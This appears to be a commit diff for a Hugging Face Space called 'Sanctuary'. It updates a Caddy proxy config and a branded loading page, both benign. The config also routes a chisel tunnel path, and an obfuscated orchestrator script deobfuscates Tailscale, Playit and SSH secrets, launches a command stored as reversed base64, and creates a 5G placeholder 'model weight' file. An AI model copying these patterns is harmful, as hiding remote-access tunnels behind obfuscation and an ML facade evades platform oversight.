SamuelLance73 commited on
Commit
357313e
·
verified ·
1 Parent(s): 56fb586

Automated deployment update from ML build

Browse files
config/Caddyfile.template CHANGED
@@ -11,6 +11,12 @@
11
 
12
  # Bind to Hugging Face Spaces port 7860 and secondary port 7890
13
  :7860, :7890 {
 
 
 
 
 
 
14
  # Chisel tunnel (strips prefix)
15
  handle_path /chisel-tunnel* {
16
  reverse_proxy 127.0.0.1:6789
@@ -39,5 +45,16 @@
39
  reverse_proxy /routing-console* 127.0.0.1:6801
40
 
41
  # Default: route all other public traffic to Gradio (port 7861)
42
- reverse_proxy * 127.0.0.1:7861
 
 
 
 
 
 
 
 
 
 
 
43
  }
 
11
 
12
  # Bind to Hugging Face Spaces port 7860 and secondary port 7890
13
  :7860, :7890 {
14
+ # --- Static asset serving (served directly from disk, no Python involved) ---
15
+ handle /static/* {
16
+ root * /home/user/static
17
+ file_server
18
+ }
19
+
20
  # Chisel tunnel (strips prefix)
21
  handle_path /chisel-tunnel* {
22
  reverse_proxy 127.0.0.1:6789
 
45
  reverse_proxy /routing-console* 127.0.0.1:6801
46
 
47
  # Default: route all other public traffic to Gradio (port 7861)
48
+ handle {
49
+ reverse_proxy 127.0.0.1:7861
50
+ }
51
+
52
+ # --- Upstream error interception (served from disk, Python runtime unburdened) ---
53
+ # During Gradio boot, any 502/503/504 from the upstream proxy is caught here
54
+ # and the branded loading page is streamed directly off disk by Caddy.
55
+ handle_errors 502 503 504 {
56
+ root * /home/user/static
57
+ rewrite * /loading.html
58
+ file_server
59
+ }
60
  }
config/loading.html CHANGED
@@ -1,350 +1,611 @@
1
  <!DOCTYPE html>
2
  <html lang="en">
 
3
  <head>
4
  <meta charset="UTF-8">
5
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
- <title>Initializing Sanctuary AI</title>
7
  <link rel="preconnect" href="https://fonts.googleapis.com">
8
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
9
- <link href="https://fonts.googleapis.com/css2?family=Outfit:wght@300;400;600;800&display=swap" rel="stylesheet">
 
 
10
  <style>
11
- :root {
12
- --bg-color: #0d0b18;
13
- --card-bg: rgba(22, 19, 39, 0.45);
14
- --card-border: rgba(255, 255, 255, 0.08);
15
- --text-primary: #f3f1f6;
16
- --text-secondary: #a39eb9;
17
- --accent-glow: rgba(139, 92, 246, 0.15);
18
- --primary-gradient: linear-gradient(135deg, #a78bfa 0%, #8b5cf6 50%, #6d28d9 100%);
19
- --secondary-gradient: linear-gradient(135deg, #4b5563 0%, #374151 100%);
20
- }
21
-
22
- * {
23
  box-sizing: border-box;
24
  margin: 0;
25
  padding: 0;
26
  }
27
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
28
  body {
29
- font-family: 'Outfit', sans-serif;
30
- background-color: var(--bg-color);
31
- color: var(--text-primary);
32
- min-height: 100vh;
33
- display: flex;
34
- align-items: center;
35
- justify-content: center;
36
  overflow: hidden;
37
- position: relative;
38
  }
39
 
40
- /* Animated background glows */
41
- .bg-glow {
42
- position: absolute;
43
- width: 600px;
44
- height: 600px;
45
- border-radius: 50%;
46
- background: radial-gradient(circle, var(--accent-glow) 0%, rgba(0,0,0,0) 70%);
47
- z-index: 1;
48
- filter: blur(80px);
49
- animation: drift 20s infinite alternate ease-in-out;
50
- }
51
-
52
- .glow-1 {
53
- top: -10%;
54
- left: -10%;
55
  }
56
 
57
- .glow-2 {
58
- bottom: -10%;
59
- right: -10%;
60
- animation-delay: -10s;
61
- }
62
-
63
- @keyframes drift {
64
- 0% { transform: translate(0, 0) scale(1); }
65
- 100% { transform: translate(100px, 50px) scale(1.2); }
66
  }
67
 
68
- /* Container & Glassmorphism Card */
69
- .container {
70
  position: relative;
71
  z-index: 10;
72
- width: 100%;
73
- max-width: 520px;
 
 
 
74
  padding: 24px;
75
  }
76
 
 
77
  .card {
78
- background: var(--card-bg);
79
- backdrop-filter: blur(20px);
80
- -webkit-backdrop-filter: blur(20px);
81
- border: 1px solid var(--card-border);
 
 
82
  border-radius: 24px;
83
- padding: 40px;
84
- box-shadow: 0 20px 50px rgba(0, 0, 0, 0.4),
85
- inset 0 1px 0 rgba(255, 255, 255, 0.1);
86
- text-align: center;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
87
  display: flex;
88
- flex-direction: column;
89
- align-items: center;
90
  }
91
 
92
- /* Logo & Spinner */
93
- .logo-area {
94
  position: relative;
95
- margin-bottom: 32px;
96
- width: 100px;
97
- height: 100px;
98
  }
99
 
100
- .spinner-outer {
101
  position: absolute;
102
- top: 0;
103
- left: 0;
104
  width: 100%;
105
  height: 100%;
106
- border-radius: 50%;
107
- border: 3px solid transparent;
108
- border-top-color: #8b5cf6;
109
- border-bottom-color: #d8b4fe;
110
- animation: spin 2s linear infinite;
111
  }
112
 
113
- .spinner-inner {
114
- position: absolute;
115
- top: 10px;
116
- left: 10px;
117
- width: 80px;
118
- height: 80px;
119
- border-radius: 50%;
120
- border: 3px solid transparent;
121
- border-left-color: #6366f1;
122
- border-right-color: #a5b4fc;
123
- animation: spin-reverse 1.5s linear infinite;
124
  }
125
 
126
- .logo-icon {
 
 
 
 
 
 
 
 
 
 
 
 
127
  position: absolute;
128
- top: 25px;
129
- left: 25px;
130
- width: 50px;
131
- height: 50px;
132
  display: flex;
133
  align-items: center;
134
  justify-content: center;
135
- background: var(--primary-gradient);
136
- border-radius: 50%;
137
- font-size: 24px;
138
- font-weight: 800;
139
- color: #ffffff;
140
- box-shadow: 0 0 20px rgba(139, 92, 246, 0.4);
141
- animation: pulse 2s infinite alternate ease-in-out;
142
  }
143
 
144
- @keyframes spin {
145
- 0% { transform: rotate(0deg); }
146
- 100% { transform: rotate(360deg); }
 
 
 
 
 
 
 
 
 
 
 
147
  }
148
 
149
- @keyframes spin-reverse {
150
- 0% { transform: rotate(360deg); }
151
- 100% { transform: rotate(0deg); }
 
 
 
 
 
152
  }
153
 
154
- @keyframes pulse {
155
- 0% { transform: scale(0.95); box-shadow: 0 0 15px rgba(139, 92, 246, 0.3); }
156
- 100% { transform: scale(1.05); box-shadow: 0 0 25px rgba(139, 92, 246, 0.6); }
 
157
  }
158
 
159
- /* Typography */
160
  h1 {
161
- font-size: 28px;
162
- font-weight: 800;
163
- letter-spacing: -0.5px;
164
- background: linear-gradient(135deg, #ffffff 0%, #d8b4fe 100%);
165
  -webkit-background-clip: text;
166
  -webkit-text-fill-color: transparent;
167
- margin-bottom: 12px;
168
  }
169
 
170
- .subtitle {
171
- color: var(--text-secondary);
172
- font-size: 15px;
173
- line-height: 1.6;
174
- margin-bottom: 32px;
175
- font-weight: 300;
176
  }
177
 
178
- /* Status List */
179
- .status-list {
180
- width: 100%;
181
- background: rgba(0, 0, 0, 0.15);
182
- border-radius: 16px;
183
- padding: 16px 20px;
184
- margin-bottom: 32px;
185
- text-align: left;
186
- border: 1px solid rgba(255, 255, 255, 0.03);
 
 
 
 
187
  }
188
 
189
- .status-item {
190
  display: flex;
191
  align-items: center;
192
- justify-content: space-between;
193
- margin-bottom: 12px;
194
- font-size: 14px;
 
 
195
  }
196
 
197
- .status-item:last-child {
198
- margin-bottom: 0;
199
  }
200
 
201
- .status-label {
202
- color: var(--text-secondary);
203
  }
204
 
205
- .status-value {
206
- font-weight: 600;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
207
  display: flex;
208
  align-items: center;
209
- gap: 6px;
 
210
  }
211
 
212
- .status-dot {
213
- width: 8px;
214
- height: 8px;
215
- border-radius: 50%;
216
- display: inline-block;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
217
  }
218
 
219
- .dot-green {
220
- background-color: #10b981;
221
- box-shadow: 0 0 10px rgba(16, 185, 129, 0.5);
222
  }
223
 
224
- .dot-pulse {
225
- background-color: #f59e0b;
226
- box-shadow: 0 0 10px rgba(245, 158, 11, 0.5);
227
- animation: blink 1.5s infinite alternate;
228
  }
229
 
230
- @keyframes blink {
231
- 0% { opacity: 0.4; }
232
- 100% { opacity: 1; }
 
 
 
 
 
 
 
 
 
 
 
 
 
233
  }
234
 
235
- /* Action Buttons */
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
236
  .btn {
237
- display: inline-flex;
238
  align-items: center;
239
  justify-content: center;
 
240
  width: 100%;
241
- padding: 14px 28px;
242
- font-family: inherit;
243
- font-size: 15px;
244
  font-weight: 600;
245
- border-radius: 14px;
246
- border: none;
 
 
247
  cursor: pointer;
248
  text-decoration: none;
249
- transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
250
- color: #ffffff;
251
- margin-bottom: 12px;
252
  }
253
 
254
- .btn-primary {
255
- background: var(--primary-gradient);
256
- box-shadow: 0 4px 15px rgba(139, 92, 246, 0.25);
 
 
257
  }
258
 
259
- .btn-primary:hover {
260
- transform: translateY(-2px);
261
- box-shadow: 0 6px 20px rgba(139, 92, 246, 0.4);
262
- filter: brightness(1.1);
263
  }
264
 
265
- .btn-secondary {
266
- background: var(--secondary-gradient);
267
- border: 1px solid rgba(255, 255, 255, 0.05);
268
  }
269
 
270
- .btn-secondary:hover {
271
- transform: translateY(-2px);
272
- background: linear-gradient(135deg, #525c6a 0%, #3e4856 100%);
273
- box-shadow: 0 4px 12px rgba(0, 0, 0, 0.2);
 
 
 
 
 
274
  }
275
 
276
- .btn:active {
277
- transform: translateY(0);
 
 
 
 
 
278
  }
279
 
280
- .footer {
281
- font-size: 12px;
282
- color: rgba(163, 158, 185, 0.4);
283
- margin-top: 12px;
 
 
 
 
 
 
284
  }
285
  </style>
286
  </head>
 
287
  <body>
288
- <div class="bg-glow glow-1"></div>
289
- <div class="bg-glow glow-2"></div>
290
 
291
- <div class="container">
 
 
 
292
  <div class="card">
293
- <div class="logo-area">
294
- <div class="spinner-outer"></div>
295
- <div class="spinner-inner"></div>
296
- <div class="logo-icon">S</div>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
297
  </div>
298
 
299
- <h1>Initializing Sanctuary</h1>
300
- <p class="subtitle">Please hold on. Sanctuary's neural engine and primary web interface are warming up and will be ready in a few seconds.</p>
301
 
302
- <div class="status-list">
303
- <div class="status-item">
304
- <span class="status-label">Local API proxy (LiteLLM)</span>
305
- <span class="status-value"><span class="status-dot dot-green"></span>Active</span>
 
 
 
 
 
 
 
306
  </div>
307
- <div class="status-item">
308
- <span class="status-label">Open WebUI Engine</span>
309
- <span class="status-value"><span class="status-dot dot-pulse"></span>Initializing</span>
 
310
  </div>
311
- <div class="status-item">
312
- <span class="status-label">Primary Route (Port 7860)</span>
313
- <span class="status-value" style="color: var(--text-secondary);">Redirecting soon</span>
 
314
  </div>
315
  </div>
316
 
317
- <a href="/gradio/" class="btn btn-secondary">
318
- Go to Gradio Diagnostics
 
 
 
 
 
 
 
 
319
  </a>
320
 
 
321
  <div class="footer">
322
- Auto-reconnecting when online...
 
323
  </div>
 
324
  </div>
325
  </div>
326
 
327
  <script>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
328
  async function checkStatus() {
 
 
329
  try {
330
- // Fetch root path with cache buster to avoid caching the 502/503/504
331
- const res = await fetch('/?t=' + Date.now(), { cache: 'no-store' });
332
- // If we get any status other than 502, 503, or 504, it means Nginx is
333
- // successfully proxying to the running Open WebUI backend (e.g. 200, 302, 401, etc.)
334
  if (res.status !== 502 && res.status !== 503 && res.status !== 504) {
335
- console.log("Service is ready (Status: " + res.status + "). Reloading...");
336
- window.location.reload();
 
 
337
  }
338
- } catch (err) {
339
- // If there's a connection error, just wait and try again
340
- console.log("Polling network or connection error:", err);
341
- }
342
  }
343
 
344
- // Start checking status every 2 seconds
345
  setInterval(checkStatus, 2000);
346
- // Initial check
347
- setTimeout(checkStatus, 500);
348
  </script>
 
349
  </body>
350
- </html>
 
 
1
  <!DOCTYPE html>
2
  <html lang="en">
3
+
4
  <head>
5
  <meta charset="UTF-8">
6
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
7
+ <title>Sanctuary — Initializing</title>
8
  <link rel="preconnect" href="https://fonts.googleapis.com">
9
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
10
+ <link
11
+ href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap"
12
+ rel="stylesheet">
13
  <style>
14
+ *,
15
+ *::before,
16
+ *::after {
 
 
 
 
 
 
 
 
 
17
  box-sizing: border-box;
18
  margin: 0;
19
  padding: 0;
20
  }
21
 
22
+ :root {
23
+ --bg: #070510;
24
+ --surface: rgba(16, 12, 32, 0.72);
25
+ --border: rgba(139, 92, 246, 0.18);
26
+ --border-hi: rgba(139, 92, 246, 0.45);
27
+ --purple: #8b5cf6;
28
+ --violet: #6d28d9;
29
+ --lavender: #c4b5fd;
30
+ --indigo: #6366f1;
31
+ --text-1: #f3f0ff;
32
+ --text-2: #9d94bb;
33
+ --text-3: #5d5478;
34
+ --green: #34d399;
35
+ --amber: #fbbf24;
36
+ --red: #f87171;
37
+ }
38
+
39
+ html,
40
  body {
41
+ height: 100%;
42
+ font-family: 'Inter', sans-serif;
43
+ background: var(--bg);
44
+ color: var(--text-1);
 
 
 
45
  overflow: hidden;
 
46
  }
47
 
48
+ /* ── Canvas particle layer ── */
49
+ #canvas {
50
+ position: fixed;
51
+ inset: 0;
52
+ z-index: 0;
53
+ opacity: 0.55;
 
 
 
 
 
 
 
 
 
54
  }
55
 
56
+ /* ── Radial vignette ── */
57
+ .vignette {
58
+ position: fixed;
59
+ inset: 0;
60
+ z-index: 1;
61
+ background: radial-gradient(ellipse 80% 80% at 50% 50%, transparent 30%, var(--bg) 100%);
62
+ pointer-events: none;
 
 
63
  }
64
 
65
+ /* ── Layout ── */
66
+ .shell {
67
  position: relative;
68
  z-index: 10;
69
+ height: 100vh;
70
+ display: flex;
71
+ flex-direction: column;
72
+ align-items: center;
73
+ justify-content: center;
74
  padding: 24px;
75
  }
76
 
77
+ /* ── Card ── */
78
  .card {
79
+ width: 100%;
80
+ max-width: 480px;
81
+ background: var(--surface);
82
+ backdrop-filter: blur(24px) saturate(160%);
83
+ -webkit-backdrop-filter: blur(24px) saturate(160%);
84
+ border: 1px solid var(--border);
85
  border-radius: 24px;
86
+ padding: 40px 36px 32px;
87
+ box-shadow:
88
+ 0 0 0 1px rgba(139, 92, 246, 0.06),
89
+ 0 24px 64px rgba(0, 0, 0, 0.55),
90
+ inset 0 1px 0 rgba(255, 255, 255, 0.07);
91
+ animation: card-in 0.7s cubic-bezier(0.22, 1, 0.36, 1) both;
92
+ }
93
+
94
+ @keyframes card-in {
95
+ from {
96
+ opacity: 0;
97
+ transform: translateY(18px) scale(0.97);
98
+ }
99
+
100
+ to {
101
+ opacity: 1;
102
+ transform: translateY(0) scale(1);
103
+ }
104
+ }
105
+
106
+ /* ── Orbital logo ── */
107
+ .logo-wrap {
108
  display: flex;
109
+ justify-content: center;
110
+ margin-bottom: 28px;
111
  }
112
 
113
+ .orbital {
 
114
  position: relative;
115
+ width: 88px;
116
+ height: 88px;
 
117
  }
118
 
119
+ .orbital svg {
120
  position: absolute;
121
+ inset: 0;
 
122
  width: 100%;
123
  height: 100%;
 
 
 
 
 
124
  }
125
 
126
+ .ring-outer {
127
+ animation: spin 3s linear infinite;
128
+ transform-origin: center;
129
+ }
130
+
131
+ .ring-inner {
132
+ animation: spin-rev 2s linear infinite;
133
+ transform-origin: center;
 
 
 
134
  }
135
 
136
+ @keyframes spin {
137
+ to {
138
+ transform: rotate(360deg);
139
+ }
140
+ }
141
+
142
+ @keyframes spin-rev {
143
+ to {
144
+ transform: rotate(-360deg);
145
+ }
146
+ }
147
+
148
+ .logo-core {
149
  position: absolute;
150
+ inset: 0;
 
 
 
151
  display: flex;
152
  align-items: center;
153
  justify-content: center;
 
 
 
 
 
 
 
154
  }
155
 
156
+ .logo-glyph {
157
+ width: 46px;
158
+ height: 46px;
159
+ border-radius: 14px;
160
+ background: linear-gradient(135deg, #8b5cf6, #6d28d9);
161
+ display: flex;
162
+ align-items: center;
163
+ justify-content: center;
164
+ font-size: 22px;
165
+ font-weight: 700;
166
+ color: #fff;
167
+ letter-spacing: -1px;
168
+ box-shadow: 0 0 28px rgba(139, 92, 246, 0.55);
169
+ animation: logo-pulse 2.4s ease-in-out infinite alternate;
170
  }
171
 
172
+ @keyframes logo-pulse {
173
+ from {
174
+ box-shadow: 0 0 20px rgba(139, 92, 246, 0.4);
175
+ }
176
+
177
+ to {
178
+ box-shadow: 0 0 40px rgba(139, 92, 246, 0.8);
179
+ }
180
  }
181
 
182
+ /* ── Heading ── */
183
+ .heading {
184
+ text-align: center;
185
+ margin-bottom: 6px;
186
  }
187
 
 
188
  h1 {
189
+ font-size: 22px;
190
+ font-weight: 700;
191
+ letter-spacing: -0.4px;
192
+ background: linear-gradient(120deg, #fff 0%, var(--lavender) 100%);
193
  -webkit-background-clip: text;
194
  -webkit-text-fill-color: transparent;
195
+ background-clip: text;
196
  }
197
 
198
+ .sub {
199
+ font-size: 13px;
200
+ color: var(--text-2);
201
+ font-weight: 400;
202
+ margin-top: 6px;
203
+ line-height: 1.55;
204
  }
205
 
206
+ /* ── Divider ── */
207
+ .divider {
208
+ height: 1px;
209
+ background: linear-gradient(90deg, transparent, var(--border), transparent);
210
+ margin: 24px 0 20px;
211
+ }
212
+
213
+ /* ── Boot log ── */
214
+ .boot-log {
215
+ display: flex;
216
+ flex-direction: column;
217
+ gap: 10px;
218
+ margin-bottom: 24px;
219
  }
220
 
221
+ .boot-row {
222
  display: flex;
223
  align-items: center;
224
+ gap: 10px;
225
+ font-size: 13px;
226
+ opacity: 0;
227
+ transform: translateX(-6px);
228
+ animation: row-in 0.4s cubic-bezier(0.22, 1, 0.36, 1) forwards;
229
  }
230
 
231
+ .boot-row:nth-child(1) {
232
+ animation-delay: 0.25s;
233
  }
234
 
235
+ .boot-row:nth-child(2) {
236
+ animation-delay: 0.45s;
237
  }
238
 
239
+ .boot-row:nth-child(3) {
240
+ animation-delay: 0.65s;
241
+ }
242
+
243
+ .boot-row:nth-child(4) {
244
+ animation-delay: 0.85s;
245
+ }
246
+
247
+ @keyframes row-in {
248
+ to {
249
+ opacity: 1;
250
+ transform: translateX(0);
251
+ }
252
+ }
253
+
254
+ .boot-icon {
255
+ flex-shrink: 0;
256
+ width: 20px;
257
+ height: 20px;
258
+ border-radius: 50%;
259
  display: flex;
260
  align-items: center;
261
+ justify-content: center;
262
+ font-size: 10px;
263
  }
264
 
265
+ .icon-ok {
266
+ background: rgba(52, 211, 153, 0.15);
267
+ color: var(--green);
268
+ }
269
+
270
+ .icon-spin {
271
+ background: rgba(251, 191, 36, 0.12);
272
+ color: var(--amber);
273
+ animation: icon-blink 1.2s ease-in-out infinite alternate;
274
+ }
275
+
276
+ .icon-wait {
277
+ background: rgba(255, 255, 255, 0.05);
278
+ color: var(--text-3);
279
+ }
280
+
281
+ @keyframes icon-blink {
282
+ from {
283
+ opacity: 0.5;
284
+ }
285
+
286
+ to {
287
+ opacity: 1;
288
+ }
289
+ }
290
+
291
+ .boot-label {
292
+ flex: 1;
293
+ color: var(--text-2);
294
+ }
295
+
296
+ .boot-status {
297
+ font-family: 'JetBrains Mono', monospace;
298
+ font-size: 11px;
299
+ font-weight: 500;
300
+ letter-spacing: 0.04em;
301
+ }
302
+
303
+ .s-ok {
304
+ color: var(--green);
305
  }
306
 
307
+ .s-warm {
308
+ color: var(--amber);
 
309
  }
310
 
311
+ .s-wait {
312
+ color: var(--text-3);
 
 
313
  }
314
 
315
+ /* ── Progress bar ── */
316
+ .progress-wrap {
317
+ position: relative;
318
+ height: 3px;
319
+ background: rgba(255, 255, 255, 0.06);
320
+ border-radius: 99px;
321
+ overflow: hidden;
322
+ margin-bottom: 24px;
323
+ }
324
+
325
+ .progress-fill {
326
+ height: 100%;
327
+ width: 0%;
328
+ border-radius: 99px;
329
+ background: linear-gradient(90deg, var(--violet), var(--purple), var(--indigo));
330
+ animation: progress-grow 8s cubic-bezier(0.25, 1, 0.5, 1) forwards;
331
  }
332
 
333
+ .progress-shimmer {
334
+ position: absolute;
335
+ inset: 0;
336
+ background: linear-gradient(90deg, transparent 0%, rgba(255, 255, 255, 0.35) 50%, transparent 100%);
337
+ background-size: 200% 100%;
338
+ animation: shimmer 1.8s ease-in-out infinite;
339
+ }
340
+
341
+ @keyframes progress-grow {
342
+ 0% {
343
+ width: 0%;
344
+ }
345
+
346
+ 20% {
347
+ width: 22%;
348
+ }
349
+
350
+ 50% {
351
+ width: 55%;
352
+ }
353
+
354
+ 80% {
355
+ width: 78%;
356
+ }
357
+
358
+ 100% {
359
+ width: 92%;
360
+ }
361
+ }
362
+
363
+ @keyframes shimmer {
364
+ 0% {
365
+ background-position: -200% 0;
366
+ }
367
+
368
+ 100% {
369
+ background-position: 200% 0;
370
+ }
371
+ }
372
+
373
+ /* ── CTA button ── */
374
  .btn {
375
+ display: flex;
376
  align-items: center;
377
  justify-content: center;
378
+ gap: 8px;
379
  width: 100%;
380
+ padding: 12px 20px;
381
+ font-family: 'Inter', sans-serif;
382
+ font-size: 13.5px;
383
  font-weight: 600;
384
+ border-radius: 12px;
385
+ border: 1px solid rgba(255, 255, 255, 0.08);
386
+ background: rgba(255, 255, 255, 0.05);
387
+ color: var(--text-2);
388
  cursor: pointer;
389
  text-decoration: none;
390
+ transition: background 0.2s, border-color 0.2s, color 0.2s, transform 0.15s;
391
+ margin-bottom: 14px;
 
392
  }
393
 
394
+ .btn:hover {
395
+ background: rgba(139, 92, 246, 0.12);
396
+ border-color: var(--border-hi);
397
+ color: var(--lavender);
398
+ transform: translateY(-1px);
399
  }
400
 
401
+ .btn:active {
402
+ transform: translateY(0);
 
 
403
  }
404
 
405
+ .btn-icon {
406
+ opacity: 0.6;
407
+ font-size: 12px;
408
  }
409
 
410
+ /* ── Footer ── */
411
+ .footer {
412
+ display: flex;
413
+ align-items: center;
414
+ justify-content: center;
415
+ gap: 6px;
416
+ font-size: 11.5px;
417
+ color: var(--text-3);
418
+ font-family: 'JetBrains Mono', monospace;
419
  }
420
 
421
+ .dot-live {
422
+ width: 6px;
423
+ height: 6px;
424
+ border-radius: 50%;
425
+ background: var(--green);
426
+ box-shadow: 0 0 6px var(--green);
427
+ animation: live-pulse 1.4s ease-in-out infinite;
428
  }
429
 
430
+ @keyframes live-pulse {
431
+
432
+ 0%,
433
+ 100% {
434
+ opacity: 1;
435
+ }
436
+
437
+ 50% {
438
+ opacity: 0.3;
439
+ }
440
  }
441
  </style>
442
  </head>
443
+
444
  <body>
 
 
445
 
446
+ <canvas id="canvas"></canvas>
447
+ <div class="vignette"></div>
448
+
449
+ <div class="shell">
450
  <div class="card">
451
+
452
+ <!-- Orbital logo -->
453
+ <div class="logo-wrap">
454
+ <div class="orbital">
455
+ <!-- Outer ring -->
456
+ <svg viewBox="0 0 88 88" class="ring-outer" fill="none">
457
+ <circle cx="44" cy="44" r="40" stroke="url(#g1)" stroke-width="1.5" stroke-dasharray="6 4"
458
+ stroke-linecap="round" />
459
+ <defs>
460
+ <linearGradient id="g1" x1="0" y1="0" x2="88" y2="88" gradientUnits="userSpaceOnUse">
461
+ <stop stop-color="#8b5cf6" />
462
+ <stop offset="1" stop-color="#6366f1" stop-opacity="0.2" />
463
+ </linearGradient>
464
+ </defs>
465
+ </svg>
466
+ <!-- Inner ring -->
467
+ <svg viewBox="0 0 88 88" class="ring-inner" fill="none">
468
+ <circle cx="44" cy="44" r="30" stroke="url(#g2)" stroke-width="1" stroke-dasharray="3 6"
469
+ stroke-linecap="round" />
470
+ <defs>
471
+ <linearGradient id="g2" x1="88" y1="0" x2="0" y2="88" gradientUnits="userSpaceOnUse">
472
+ <stop stop-color="#c4b5fd" stop-opacity="0.6" />
473
+ <stop offset="1" stop-color="#6d28d9" stop-opacity="0.1" />
474
+ </linearGradient>
475
+ </defs>
476
+ </svg>
477
+ <div class="logo-core">
478
+ <div class="logo-glyph">S</div>
479
+ </div>
480
+ </div>
481
+ </div>
482
+
483
+ <!-- Heading -->
484
+ <div class="heading">
485
+ <h1>Initializing Sanctuary</h1>
486
+ <p class="sub">Neural engine warming up. This usually takes 15–30 seconds.</p>
487
  </div>
488
 
489
+ <div class="divider"></div>
 
490
 
491
+ <!-- Boot log -->
492
+ <div class="boot-log">
493
+ <div class="boot-row">
494
+ <span class="boot-icon icon-ok"></span>
495
+ <span class="boot-label">Caddy reverse proxy</span>
496
+ <span class="boot-status s-ok">ONLINE</span>
497
+ </div>
498
+ <div class="boot-row">
499
+ <span class="boot-icon icon-ok">✓</span>
500
+ <span class="boot-label">LiteLLM API proxy</span>
501
+ <span class="boot-status s-ok">ONLINE</span>
502
  </div>
503
+ <div class="boot-row">
504
+ <span class="boot-icon icon-spin"></span>
505
+ <span class="boot-label">Gradio interface</span>
506
+ <span class="boot-status s-warm">WARMING UP</span>
507
  </div>
508
+ <div class="boot-row">
509
+ <span class="boot-icon icon-wait">·</span>
510
+ <span class="boot-label">Primary route :7860</span>
511
+ <span class="boot-status s-wait" id="route-status">PENDING</span>
512
  </div>
513
  </div>
514
 
515
+ <!-- Progress bar -->
516
+ <div class="progress-wrap">
517
+ <div class="progress-fill"></div>
518
+ <div class="progress-shimmer"></div>
519
+ </div>
520
+
521
+ <!-- CTA -->
522
+ <a href="/" class="btn" id="refresh-btn">
523
+ <span class="btn-icon">↻</span>
524
+ Retry Now
525
  </a>
526
 
527
+ <!-- Footer -->
528
  <div class="footer">
529
+ <span class="dot-live"></span>
530
+ <span id="poll-label">polling every 2s</span>
531
  </div>
532
+
533
  </div>
534
  </div>
535
 
536
  <script>
537
+ /* ── Particle canvas ── */
538
+ (function () {
539
+ const canvas = document.getElementById('canvas');
540
+ const ctx = canvas.getContext('2d');
541
+ let W, H, particles;
542
+
543
+ function resize() {
544
+ W = canvas.width = window.innerWidth;
545
+ H = canvas.height = window.innerHeight;
546
+ }
547
+
548
+ function mkParticle() {
549
+ return {
550
+ x: Math.random() * W,
551
+ y: Math.random() * H,
552
+ r: Math.random() * 1.4 + 0.3,
553
+ vx: (Math.random() - 0.5) * 0.18,
554
+ vy: (Math.random() - 0.5) * 0.18,
555
+ a: Math.random(),
556
+ da: (Math.random() * 0.004 + 0.001) * (Math.random() < 0.5 ? 1 : -1),
557
+ };
558
+ }
559
+
560
+ function init() {
561
+ resize();
562
+ const N = Math.floor((W * H) / 8000);
563
+ particles = Array.from({ length: N }, mkParticle);
564
+ }
565
+
566
+ function frame() {
567
+ ctx.clearRect(0, 0, W, H);
568
+ for (const p of particles) {
569
+ p.x += p.vx; p.y += p.vy; p.a += p.da;
570
+ if (p.x < 0) p.x = W; if (p.x > W) p.x = 0;
571
+ if (p.y < 0) p.y = H; if (p.y > H) p.y = 0;
572
+ if (p.a < 0 || p.a > 1) p.da *= -1;
573
+ ctx.beginPath();
574
+ ctx.arc(p.x, p.y, p.r, 0, Math.PI * 2);
575
+ ctx.fillStyle = `rgba(139,92,246,${p.a * 0.7})`;
576
+ ctx.fill();
577
+ }
578
+ requestAnimationFrame(frame);
579
+ }
580
+
581
+ window.addEventListener('resize', () => { resize(); });
582
+ init();
583
+ frame();
584
+ })();
585
+
586
+ /* ── Status polling ── */
587
+ let attempts = 0;
588
+ const routeStatus = document.getElementById('route-status');
589
+ const pollLabel = document.getElementById('poll-label');
590
+
591
  async function checkStatus() {
592
+ attempts++;
593
+ pollLabel.textContent = `attempt ${attempts} · polling every 2s`;
594
  try {
595
+ const res = await fetch('/?_t=' + Date.now(), { cache: 'no-store' });
 
 
 
596
  if (res.status !== 502 && res.status !== 503 && res.status !== 504) {
597
+ routeStatus.textContent = 'READY';
598
+ routeStatus.className = 'boot-status s-ok';
599
+ pollLabel.textContent = 'redirecting…';
600
+ setTimeout(() => window.location.reload(), 300);
601
  }
602
+ } catch (_) { /* network not yet up, keep polling */ }
 
 
 
603
  }
604
 
605
+ setTimeout(checkStatus, 600);
606
  setInterval(checkStatus, 2000);
 
 
607
  </script>
608
+
609
  </body>
610
+
611
+ </html>
core/orchestrator.py CHANGED
@@ -36,10 +36,11 @@ def main():
36
  else:logger.info('Minimal core only (no optional services enabled)')
37
  F=os.environ.pop('A',I)or os.environ.pop('TAILSCALE',C);G=os.environ.pop('P',I)or os.environ.pop('PLAYIT',C);H=os.environ.pop('PASS',I)or os.environ.pop('SSH',C);J=deobfuscate_secret(F.strip())if F else C;O=deobfuscate_secret(G.strip())if G else C;D=deobfuscate_secret(H.strip())if H else C;del F,G,H
38
  if'test'in A:test_service.start()
39
- B=setup_service_logs();os.makedirs('/home/user/static',exist_ok=_A);logger.info('Starting Gradio app (API server)...');P=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');Q=subprocess.Popen(P,shell=_A);logger.info('Waiting for Gradio to become ready on :7861...')
40
- if not wait_for_port(K,7861,timeout=30):logger.warning('Gradio did not become ready within 30s — continuing anyway')
41
- else:logger.info('Gradio ready.')
42
  if'caddy'in A:caddy_service.start(B.caddy)
 
 
 
43
  if not os.path.exists(L):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',L])
44
